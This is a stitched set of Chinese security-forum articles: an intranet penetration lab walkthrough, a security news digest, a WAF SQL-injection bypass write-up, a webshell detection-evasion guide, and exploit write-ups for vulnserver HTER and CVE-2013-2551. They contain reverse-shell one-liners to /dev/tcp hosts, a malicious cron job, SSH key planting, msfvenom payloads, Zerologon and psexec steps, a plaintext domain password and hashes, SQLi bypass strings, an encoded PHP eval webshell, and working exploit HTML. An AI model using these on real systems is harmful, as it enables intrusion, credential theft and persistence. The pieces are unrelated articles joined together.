save # 将数据保存在目标服务器硬盘上
ssh 192.168.213.188 # 连接
成功进行连接，简单进行了信息收集，发现存在52段
因为之前的shell反弹不了，所以看一下nginx的配置文件是不是做了反向代理
81端口的反弹不到kali，只能麻烦一点使用ubuntu做为跳板机进行操作
首先进行反弹shell到ubuntu:192.168.52.10
当前权限为www，So，先进行提权
## 环境变量提权
不知道是不是因为docker环境的原因，尝试内核提权失败
既然如此，就尝试搜索寻找带有SUID的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
发现home目录下的那个shell有点可疑，先执行看看会发生什么~
通过执行发现该脚本执行了PS命令且并未使用绝对路径，源码在demo.c中可以清楚看到
那么我们尝试更改$PATH来执行我们的恶意程序，从而获得目标主机的高权限shell
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中，并且先加载执行/tmp里的程序
cd /home/jobs
./shell
成功获得root权限，把shell再反弹到ubuntu(web 1)中
bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1239 <&1'
前面说到这是个docker环境，实际IP为192.168.52.20，所以我们要进行docker逃逸
刚开始尝试的是CVE-2019-5736 runc容器逃逸漏洞，在运行./main并在Web
2进入docker环境，但ubuntu监听处没有任何反应，只好作罢，尝试另外一种逃逸方法
## 特权模式逃逸
### 原理
使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行docker run
—privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载
### 漏洞利用
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
有三个磁盘文件和N个设备文件，我们将/dev/sda1挂载到自己创建的文件夹
mkdir hello
mount /dev/sda1 /hello
ls /hello
挂载成功，写入计划任务
echo '* * * * * bash -i >& /dev/tcp/192.168.52.10/1233 0>&1' >> /hello/var/spool/cron/root
等了好一会，但还是没有反应0.0
换另一个思路，翻一下看看可不可以访问root目录或查看home有没有用户
可以看到有ubuntu这个用户
接下来就可以将我们自己生成的ssh秘钥写入到/hello/home/ubuntu/.ssh目录中的authorized_keys文件中，写入成功之后就可以使用该密钥进行登陆该机器
ssh-keygen -f hello
chmod 600 hello #赋予权限
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys #-avx是将权限也一起复制
echo > /hello/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件
echo '生成的.pub文件的内容' > /hello/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
cat /hello/home/ubuntu/.ssh/authorized_keys #查看是否写入成功
ssh -i hello [email protected]
成功登录，查看了一下网络，发现还存在93网段
## CVE-2021-3493
linux kernel一般指Linux内核。Linux是一种开源电脑操作系统内核。它是一个用C语言写成，符合POSIX标准的类Unix操作系统。
linux内核中的overlayfs文件系统中没有正确地验证用户名称空间和底层文件系统中文件功能的设置。由于非特权用户名称空间和Ubuntu内核中允许非特权覆盖的补丁的组合，攻击者可以使用它来获得更高的特权。
**漏洞影响版本**
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
因为登录的是ubuntu用户，刚好今年ubuntu机器出了一个内核提权漏洞，该机器在影响范围内
So，先进行提权
进入到tmp目录
vim exploit.c #将下载的exploit.c的内容粘贴到该文件中
gcc exploit.c -o exploit #编译
chmod +x exploit
./exploit
Exp：<https://github.com/briskets/CVE-2021-3493>
成功提权，那么接下来该将这两台机器上线MSF继续进攻内网了
# 内网渗透
先进行上线通过Redis拿到的机器
添加路由
run get_local_subnets
run autoroute -s 192.168.52.0 -n 255.255.255.0
run autoroute -p
因为在Web 1这台机器上通过尝试该机器安装有python3.6.9，那么我们可以将木马上传到Web 1，通过python3开启一个http服务，使用Web
2进行下载并运行我们的木马
首先MSF生成木马，通过MSF上传到Web 1中
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=2020 -f elf -o 20.elf
sessions 1
upload /root/20.elf /tmp/20.elf
成功上线
## 存活扫描
先进行扫描52段还有没有其他存活主机
可以看到并没有其他存活主机
因为Web 2存在一个93网段，所以进行扫描一下93段的存活主机
在扫着扫着，session突然就掉了，重新上线一下
发现两台机器且存在域，其中30八九不离十为域控
[+] 192.168.93.30 [DC] OS:Windows Names:(DC, WHOAMIANONY) Addresses:(192.168.93.30) Mac:00:0c:29:72:b5:3e Virtual Machine:VMWare
[+] 192.168.93.40 [PC2] OS:Windows Names:(PC2, WHOAMIANONY, __MSBROWSE__) Addresses:(192.168.93.40, 169.254.129.186) Mac:00:0c:29:28:d5:fe Virtual Machine:VMWare
使用SMB_VERSION模块结果也是一样
## MS17-010
进内网必然进行测试的漏洞
可以看到两台机器均存在ms17010
进行攻击DC上线的时候会话创建失败，但是可以使用命令执行模块进行执行命令
使用MS17010命令执行模块进行信息收集
到此可以确定192.168.93.30确实为域控
域控这个先放一放，看看WIn7机器能不能进行上线
使用msf的模块进行攻击，但还是失败，换方程式漏洞利用工具进行打
先用MSF生成dll文件
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=443 -f dll > x64.dll
MSF开启SOCKS代理
use auxiliary/server/socks_proxy
exploit
设置好代理
将x64.dll放到工具目录替换原来的，MSF设置好监听
Win7成功上线，但是呢域控还是不行
抓了密码并没有发现域管账号，且运行程序没有是使用域管账号运行的，那么说明域管并未登录过该机器
先把密码信息用得上的复制出来
SID: S-1-5-21-1315137663-3706837544-1429009142-1115
hostname: PC2
* Username : moretz
* Domain : WHOAMIANONY
* Password : Moretz2021
emmm，既然域控可以执行命令，那么上传木马到Win7，使用copy命令进行复制到域控，但是并没有成功
先尝试域内提权漏洞吧
## CVE-2020-1472
### 简介
攻击者通过NetLogon（MS-NRPC），建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序
### 检测
vim /etc/proxychains.conf #设置代理
proxychains python3 zerologon_tester.py DC 192.168.93.30
显示success表示漏洞存在
脚本地址：<https://github.com/SecuraBV/CVE-2020-1472>
### 漏洞利用
将域控密码置空
proxychains python3 cve-2020-1472-exploit.py DC 192.168.93.30
使用impacket中的工具将域控的密码dump下来
proxychains python3 secretsdump.py WHOAMIANONY.ORG/DC\[email protected] -just-dc -no-pass
得到hash之后，使用MSF PSEXEC模块上线
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run/exploit
但是并没有返回会话，估计是防火墙的原因，使用MS17010命令执行模块进行关闭
netsh advfirewall set allprofiles state off
上线成功
### 恢复域控Hash
**重点：一定恢复域控hash，不然会导致脱域**
执行以下命令，获取目标原始hash
使用msf进行生成
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
下载到Kali中
下载完成之后进行删除
del /f system.save
del /f sam.save
del /f security.save
查看域控hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
使用脚本恢复hash
proxychains python3 reinstall_original_pw.py DC 192.168.93.30 7fd0cca5eafe480f617b04039bbf115c
使用空密码连接进行验证是否恢复
成功恢复
# 结言
明明已经开启了，不知道为什么PC 1扫描存活的时候就是扫不出来，网卡也是设置一样的，利用DC也访问不到~~~
最终拿下机器如下
权限维持就不做了，写完文章也挺晚了~~~ | 社区文章 |
# 5月12日安全热点 - 工控协议OPC UA可被用于远程代码执行
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
Apache Hadoop yarn 用户任意根命令执行漏洞
<http://t.cn/R3qe8qI>
英特尔集成性能基元加密库常量时间保护安全绕过漏洞
<http://t.cn/R3qe85v>
Debian上 firebird2.5 安全更新
<http://t.cn/R3qe85r>
Fedora 26: 内核安全更新
<http://t.cn/R3qe8t6>
## 安全报告 Security Report
360发布勒索软件威胁分析报告:美国成最大攻击源
<http://t.cn/R3qe8GQ>
## 安全事件 Security Incident
利用AES加密的网页仿冒网站旨在窃取用户的Apple ID
<http://t.cn/R3qe8cq>
黑客访问英国蜂窝运营商EE的关键代码
<http://t.cn/R3qe8cr>
黑客列车Wi-Fi可能会暴露乘客数据和控制系统
<http://t.cn/R3qe8VY>
恶意Chrome浏览器扩展程序发现使用加密恶意软件窃取数据
<http://t.cn/R3qe8IV>
## 安全资讯 Security Information
WannaCry一年后，EternalBlue的利用率比以往任何时候都要大
<http://t.cn/R3qe8Id>
江苏徐州市纪检监察系统推行“大数据平台共享”模式
<http://t.cn/R3qe8Mj>
熊猫银行木马多元化，现在活跃于其他领域
<http://t.cn/R3qe8xA>
GOOGLE PROJECT ZERO指出WINDOWS 10 EDGE DEFENSE’ACG’有缺陷
<http://t.cn/R3qe8xl>
巴西5000台路由器默认未设置Telnet密码，可被轻易劫持
<http://t.cn/R3bdcaB>
工业控制协议OPC UA中存在大量漏洞，可被用于远程代码执行
<http://t.cn/R3qe8J0>
## 安全研究 Security Research
攻击者可利用Throwhamme新技术在局域网内发起Rowhammer攻击
<http://t.cn/R3qe8iC> | 社区文章 |
# bypass云锁
我在先知搜了下,发现居然没有bypass云锁的文章,虽然网上有很多bypass云锁文章但是我看了下好像对这篇文章云锁站都gg了,或者云锁已经加强了规则,这里索性就记录下我最近一个bypass云锁.
## 绕过order by
这里and 没有被拦截就不测试,直接order by肯定不出意外被拦截
/*!order*//*!by*/1 拦截
/*!40000/*!30000order*//*!40000/*!30000by*/1 不拦截 这里30000是数据库版本如果大于他就会执行.
## 无法绕过union select
这里我花了很多时间来绕union select 发现一直绕不过,如果那位师傅有绕过方法,私聊下....手动打“哭”
## 转换思路从时间盲注开始
### 查询数据库
id=2 and length(database())>1 不拦截,这里我们可以判断出数据库长度.
### 获取数据库名
id= 2 and if(ascii(substr(database(),1,1))>120,1,sleep(7)) 拦截
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7)) 不拦截
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/) 不拦截
使用上面paylaod就能够测出数据库名
### 查询数据库表
id=2 and if (ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96,1,sleep(5)) 拦截
id=2 and if (ascii(substr(select table_name from information_schema.tables where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5)) 拦截
id=2 and if (ascii(substr(select table_name from information_schema.tables where table_schema=database/*!()*/ limit 0,1),1,1))>96,1,sleep/*!(5)*/) 拦截
这里我就试着把一句句去掉看是哪里被拦截最终发现,是select被拦截,去掉select不拦截,提示语法错误
`php id=2 and if(ascii(substr(( table_name from information_schema.tables
where table_schema=database/**/() limit 0,1),1,1))>96,1,sleep/**/(5))` 不拦截
这里来绕select
`php id=2 and if(ascii(substr(( /*!Select*/+table_name from
information_schema.tables where table_schema=database/**/() limit
0,1),1,1))>96,1,sleep/**/(5))` 拦截
`php id=2 and if(ascii(substr((/*!40000/*!30000select*/ table_name from
information_schema.tables where table_schema=database/**/() limit
0,1),1,1))>96,1,sleep/**/(5))` 拦截
`php id=2 and if(ascii(substr((/*!50000select*/table_name from
information_schema.tables where table_schema=database/**/() limit
0,1),1,1))>96,1,sleep/**/(5)`) 拦截
`php id=2 and if(ascii(substr((/*!50000%53elect*/table_name from
information_schema.tables where table_schema=database/**/() limit
0,1),1,1))>96,1,sleep/**/(5)`) 不拦截
这里就可以直接查询出数据库表名
### 查询字段
直接使上面最后一条就可以绕过
`php id=2 and if(ascii(substr((/*!50000%53elect*/column_name from
information_schema.columns where table_schema=database/**/() and
table_name='xxxx' limit 0,1),1,1))>96,1,sleep/**/(5))` 不拦截 | 社区文章 |
WAF会维护一个规则库记录webshell常用的函数、方法、结构，当匹配上对应特征时便发出警告、直接封禁或隔离。但是安全厂商们为了提升用户体验，一般会以可用性为首要目标，其次才是安全性，这是一个硬伤也是绕过的基础
由于正常业务功能的需要，WAF通常并不会全盘枪毙语言中可以执行代码的结构或函数（比如`eval`），而是判断敏感函数是否处于某种木马后门常用且业务功能不常用的结构中，绕过即是找出既能达到目的又让WAF误以为无害的结构（即漏报）。相应的，如果可以知道WAF对于程序猿们提出的误报作出了哪些妥协，也可以从中获得一些绕过的灵感
为了找出能让WAF漏报的结构，一是尝试混淆可以执行代码的结构或函数，二是混淆传入的参数。而混淆具体该怎么做，便需要结合不同编程语言自身特性分析，总体方向有：
* 字符串变换（拼接、编码、取反、加密）
* 函数特性
* 类特性
* 迷之注释
* 变量污染
# PHP
PHP有着极其灵活的语言结构，这为涉世未深的开发们提供了极大的便利，而易用与安全似乎自古就是死对头。。。
以下几种结构/函数可将字符串作为代码执行：
# PHP4|5|7
eval ( string $code ) : mixed
# PHP4|5
assert ( mixed $assertion [, string $description ] ) : bool
# PHP7.1
assert ( mixed $assertion [, Throwable $exception ] ) : bool
# PHP4|5利用/e修饰符
preg_replace/preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string
# 文件包含
include
include_once
require
require_once
file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string
以下几种变换可用来加混淆：
* `.`（句点）隔离拼接字符串
* 简单拼接可衍生出拼接`$GPC`、调用时传值拼接（比如`Cookie`）、利用数组下标取值、远程加载核心shell
* 变量覆盖（`extract`、`parse_str`、`foreach`、`import_request_variables`）
* URL（`urlencode`），BaseXX（`base64_encode`），ROT13（`str_rot13`）
* 简单编码可衍生出插入`%00`与`%0a`、利用[字符串函数](https://www.php.net/manual/en/ref.strings.php)（`chr`、`bin2hex`、`strrev`、`str_replace`）构造更多变换
* 取反，异或，加密
* 可变函数，匿名函数，回调函数（关键字：`callable`、`mixed $options`、`handler`、`callback`、`invoke`）、反引号
* 类调用，类继承，类反射，序列化
* 回调函数与类调用可衍生出XML执行代码、PDO执行代码、Memcache执行代码、YAML执行代码
* 参数注释
* 创建/传递大量垃圾变量
## 排列组合
按照师傅们的惯例，文章写到这里该杀只活马祭天了，so。。。
PHP7.2后`assert`也从函数变成了结构，使得马儿们几乎失去了可变函数这一无污染天然牧场，为了兼容性这次针对`eval`的参数作混淆试试效果，随缘挑几个上述变换瞎组合一下（自建函数+调用时传值+数组下标取值+变量覆盖）
# base64decode
PD9waHAKIyA/a2V5PWhhc2gmcGFzcz1waHBpbmZvKCk7CmZ1bmN0aW9uIGZmZigpewogICAgJHRxbCA9IGFycmF5KCJkZHciID0+ICRfUkVRVUVTVFsncGFzcyddKTsKICAgICRkZHcgPSBudWxsOwogICAgaWYgKCRfR0VUWydrZXknXSA9PT0gJ2hhc2gnKQogICAgICAgIGV4dHJhY3QoJHRxbCwgRVhUUl9JRl9FWElTVFMpOwogICAgcmV0dXJuICRkZHc7Cn0KJGFhYSA9IGlzc2V0KCRfR0VUWydrZXknXSkgPyBhcnJheSgneG1zbCcsIGFycmF5KCJ4c3dsIiA9PiBmZmYoKSkpIDogbnVsbDsKZXZhbCgkYWFhWzFdWyJ4c3dsIl0pOw==
有些结构是完全不必要的，只是我想花里胡哨组合玩一下2333，有些结构也可以继续优化，比如将赤果果的函数改写为类方法。总之对各种变换排列组合应该也够用一阵子了，小伙伴说如果写成组件化的工具，以后就可以像VS拖代码块一样拖Bypass模块QAQ
## 参考链接
[创造tips的秘籍——PHP回调后门](https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html)
[php一句话木马检测绕过研究](https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/php-webshell-detect-bypass/php-webshell-detect-bypass.md)
[webshell免杀从入门到放弃之PHP](https://yzddmr6.tk/posts/webshell-bypass-php/)
[webshell系列(一)–xml](https://www.secpulse.com/archives/6352.html)
[PHP Webshell Hidden
Learning](https://www.cnblogs.com/LittleHann/p/3522990.html)
[PHP源码审计敏感函数字典](https://blog.csdn.net/xysoul/article/details/49791993)
# ASP
ASP支持VBScript和JScript语法
以下几种结构/函数可将字符串作为代码执行：
Eval Request(0)
Execute Request(0)
ExecuteGlobal Request(0)
以下几种变换可用来加混淆：
* `+`（加号）、`&`隔离拼接字符串
* 简单拼接可衍生出调用时传值拼接
* URL（`unescape`），UTF-7，screnc.exe编码
* 利用[字符串函数](https://www.runoob.com/vbscript/vbscript-ref-functions.html#string)（`chr`、`strreverse`、`Replace`）
* 类调用
* `CreateObject` => `ScriptControl`
## 参考链接
[ASP/ASPX Webshell Hidden
Learning](https://www.cnblogs.com/LittleHann/p/5016999.html)
[使用Scripting.Encoder加密VBS脚本](http://demon.tw/programming/vbs-scripting-encoder.html)
# JSP
以下几种结构/函数可将字符串作为代码执行：
java.lang.Runtime
java.lang.ProcessBuilder
以下几种变换可用来加混淆：
* 隔离拼接字符串
* 类加载、类反射
## 参考链接
[利用Java反射和类加载机制绕过JSP后门检测](https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/using-java-reflection-and-ClassLoader-bypass-webshell-detection.md)
# 结个尾
之前认为绕过WAF纯靠脸，学习过后发觉还是有一点点规律可循，现在觉得套路占一半吧，另一半还是要靠欧洲血统Orz
对于ASP/ASPX/JSP还不懂，等有一定基础再继续填坑，先继续学习一下绕过流量检测去。。。
* * *
更：投稿后学习流量免杀时，发现师傅们已经玩得差不多了：[绕过WebShell检测的总结之流量免杀](https://github.com/nu11hex/notebook/blob/master/%E7%BB%95%E8%BF%87WebShell%E6%A3%80%E6%B5%8B%E7%9A%84%E6%80%BB%E7%BB%93%E4%B9%8B%E6%B5%81%E9%87%8F%E5%85%8D%E6%9D%80.md) | 社区文章 |
# 跟小黑学漏洞利用开发之16进制字符转换
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Hello Every Boby!
又是一篇缓冲区漏洞利用的文章,本文我们将继续使用vulnserver漏洞练习程序中—HTER指令，它与前一篇Unicode类似。LTER缓冲区转换为Unicode，而HTER缓冲区转换为十六进制，让我们一起来看看发生这种转换时发生什么，以及如何完成我们的漏洞利用程序。遇到有些小伙伴说进行漏洞利用开发必须使用immunity
Debugger吗？其实没有规定必须使用，我希望在此系列更多分享关于漏洞利用思维层面东西。毕竟殊胜因缘，一通百通。
所以此篇我使用X64dbg调试器完成漏洞利用开发。
## POC攻击
让我们用python漏洞重新创建POC，并执行它。然后再次引发崩溃，详情如图所示：
发送3000字节的A引发应用程序崩溃。但是，EIP被AAAAAAAA代替41414141。尝试发送了不同的字符串到缓冲区，以进一步观察应用程序的情况。基于此，我们观察到缓冲区以某种方式被转换为十六进制字节，而不是ASCII。
## “二分法”分析偏移量
由于缓冲区已转换为十六进制字节!mona pc或者使用msf-pattern命令生成的唯一字符串不起作用。因此，我使用了“二分法”确定偏移量。我没有发送3000 A，而是花了1500 A和1500B。
如图所示，EIP被’BBBBBBBB’，因为我们已知B有1500字节。
我们重复上述操作调整几次，发现偏移量在2041字节；下面为修正过后的代码。（注意：由于缓冲区已转换为16进制，因为使用覆盖offset字节应该是8个B，而不是之前4个。）
运行修正后的代码EIP被8个B准确覆盖。
至此为了将执行流程重定向到C缓冲区，我们可以使用曾经用过指令“!mona jmp -r esp”，找到包含JMP
ESP地址。为此我们使用之前第一个地址即0x625011AF。（注意：由于我这使用X64dbg寻找JMP ESP。其实道理都一样，一通百通^_^）
然后我们修改代码，如图所示。
运行最新修改的代码，如图所示；重定向有效。
## 16进制的shellcode
我们所需要做的下一件事，就是需要制作一个16进制的shellcode，如图所示。
## 漏洞利用攻击
我们完成最终利用代码，运行编写的Exploit会导致目标机器产生4444/TCP端口监听。
连接此端口，完成Getshell。
最后需要说下kali-linux 2019.4版本确实很轻便，推荐大家更新使用。 | 社区文章 |
## 0x01 漏洞信息
### 0x01.1 漏洞简述
* 编号：CVE-2013-2551
* 类型：整数溢出(Integer Overflow)
* 漏洞影响：远程代码执行(RCE)
* CVSS 2.0：9.3
VGX.dll中`COALineDashStyleArray::put_length`函数在处理length数据时未做有效验证，以致length为负数可造成整数溢出，进而实现任意读写。
### 0x01.2 漏洞影响
Microsoft Internet Explorer 6—10
### 0x01.3 修复方案
[MS13-037](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-037)
## 0x02 漏洞分析
### 0x02.1 分析环境
* OS版本：Windows XP Service Pack 3
* Internet Explorer版本：8.0.6001.18702
* VGX.dll版本：8.0.6001.18702
### 0x02.2 前置知识
VML的全称是Vector Markup
Language(矢量可标记语言)，其基于XML，矢量图形——意味着图形可以任意放大缩小而不损失图形的质量。VML相当于IE里面的画笔，能实现你所想要的图形，而且结合脚本，可以让图形产生动态的效果。(不仅是IE，Microsoft
Office同样支持VML)
使用VML首先要通过`<style>`引入：
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
之后声明VML Namespace：
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
如此便可添加VML元素以绘制图形。
一例:
<html>
<title>
VML Sample
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
<v:shape
fillcolor="green"
style="position:relative;top:1;left:1;width:200;height:200"
path = "m 1,1 l 1,200, 200,200, 200,1 x e">
</v:shape>
</body>
</html>
Shape是VML最基本的对象，利用它可以画出所有你想要的图形。其主要属性Path可参阅[VML Path Attribute—Microsoft
Docs](https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-path-attribute)。
### 0x02.3 详细分析
使用IE打开`poc.html`：
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")
for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>
允许阻止内容后，WinDbg附加进程并运行，单击`crash`按钮，崩溃点如下：
使用`gflags.exe`为`iexplore.exe`开启页堆，WinDbg启动`iexplore.exe`，通过`.childdbg
1`命令启用子进程调试并运行后，崩溃点如下：
`kb`查看调用堆栈：
重新启动`iexplore.exe`，加载`VGX.dll`完成后于`ORG::Get`函数处设断，查看其`this`参数：
继续向下分析，可以看到`vgx!ORG`对象结构偏移0x10处存储指向`dashstyle`数组指针：
`marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);`操作由`memecpy`完成：
漏洞成因显然不位于该函数，继续向上回溯至`vgx!COALineDashStyleArray::get_item`，其调用`vgx!ORG::CElements`获取数组元素个数：
要读取元素下标需大于`0xFFFFFFFF`，小于`vgx!ORG`对象结构偏移0x04处值(WORD)。若下标合法，之后便会调用`vgx!ORG::Get`。可以从上图看到数组Length值`0xffff`，该值需跟进`COALineDashStyleArray::put_length`函数分析。
首先获取数组原长度，与更改长度进行比较：
此处即为漏洞触发位置，其调用`vgx!ORG::CElements`函数获取长度使用`movzx eax, word ptr
[eax+4]`指令，将长度当作无符号整数处理(而非采用`movsx`指令)，但跳转语句`jge`是基于有符号整数比较的跳转。
大于等于则会调用`vgx!ORG::DeleteRange`：
跟进发现其调用`MsoDeletePx`：
继续跟进，写入更改长度操作位于`MsoFRemovePx`函数内：
如此一来，将数组Length修改为0xFFFF，进而可以实现越界读写——前文分析`vgx!COALineDashStyleArray::get_item`函数对应越界读操作，下面看越界写操作。该操作对应`vgx!COALineDashStyleArray::put_item`函数，其与`get_item`不同之处是调用`vgx!ORG::PGet`函数：
该函数用于计算写入位置：
之后写入操作由`put_item`中`mov [eax], ecx`指令完成：
### 0x02.4 利用分析
#### 0x02.4a 信息泄露
有两种信息泄露方法，详见下文分析。
##### `_anchorRect`属性
访问`_anchorRect`属性时会调用`COAShape::get__anchorRect`函数，而该函数会通过`malloc`申请0x10字节空间：
该空间用于存储`COAReturnedPointsForAnchor`对象：
如此一来，可申请大量空间存储`COAReturnedPointsForAnchor`对象，中间放置Dashstyle
Array，之后便可访问后续`COAReturnedPointsForAnchor`对象虚表以获取VGX.dll基址。但笔者在进行布局时发现其后并非紧接`COAReturnedPointsForAnchor`对象：
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
....
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i==0x800){
vml1.dashstyle="1 2 3 4";
}
}
由上图可以看到是`COAShape`对象，其虚表相对于VGX.dll基址偏移为`0x82a48`。经计算，读取该地址数组下标为0x12，故笔者构造信息泄露POC如下：
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
INFO LEAK
</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body onload="createRects(); info_leak();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function info_leak(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i==0x800){
vml1.dashstyle="1 2 3 4";
}
}
vml1.dashstyle.array.length = 0 - 1;
var leak = vml1.dashstyle.array.item(0x12);
alert(leak-0x82a48);
}
</script>
</html>
##### `_vgRuntimeStyle`属性
`_vgRuntimeStyle.rotation`对应`COARuntimeStyle::get_rotation`函数，初次访问会申请0xAC大小空间(`COARuntimeStyle::get_rotation`——>`CVMLShape::GetRTSInfo`——>`CParserTag::GetRTSInfo`)：
实际占用空间大小：
那么于其中插入Dashstyle Array大小为0xB0(即44个元素，加上头部占用8字节，恰为0xB8)：
之后写`_vgRuntimeStyle.marginLeft`，对应`COARuntimeStyle::put_marginLeft`函数，由于先前已经申请内存空间，该函数调用`CVMLShape::GetRTSInfo`——>`CParserTag::GetRTSInfo`时便不会再次申请，而是返回内存地址，写入字符位置相对于该地址偏移为0x58：
而读`_vgRuntimeStyle.marginLeft`，对应`COARuntimeStyle::get_marginLeft`函数，该函数会将偏移0x58处指针指向内容读取出来：
如此一来，控制0x58处指针内容，可实现任意地址读取。
利用漏洞可读写该地址处内容，下标为0x2E(0x2B对应数组最后一个元素，0x2C-0x2E是头部所占用12字节)+0x16(0x58/4)。完整POC如下：
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
INFO LEAK
</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body onload="createRects(); exploit();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));
return;
}
}
}
</script>
